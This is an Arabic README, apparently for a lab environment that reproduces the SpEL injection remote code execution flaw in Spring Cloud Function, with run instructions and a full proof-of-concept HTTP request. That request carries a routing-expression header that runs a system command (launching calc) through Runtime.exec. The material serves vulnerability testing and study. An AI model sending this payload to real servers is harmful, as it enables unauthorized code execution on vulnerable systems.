
بيئة إعادة الإنتاج وإثبات المفهوم لثغرة حقن SpEL في Spring Cloud Function المؤدية إلى تنفيذ التعليمات البرمجية عن بُعد، مع عرض توضيحي قابل للتشغيل بلغة Java 11 ومثال لطلب HTTP.
يمكنك زيارة المدونة الشخصية لعرض التفاصيل https://pizz33.github.io/
بيئة اختبار لحقن تعبير SpEL في Spring Cloud Function
الإصدار java11 قم بتشغيل java -jar demo-0.0.1-SNAPSHOT.jar للبدء
بعد اكتمال الإعداد، قم بزيارة المنفذ 127.0.0.1:8080

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
xxx
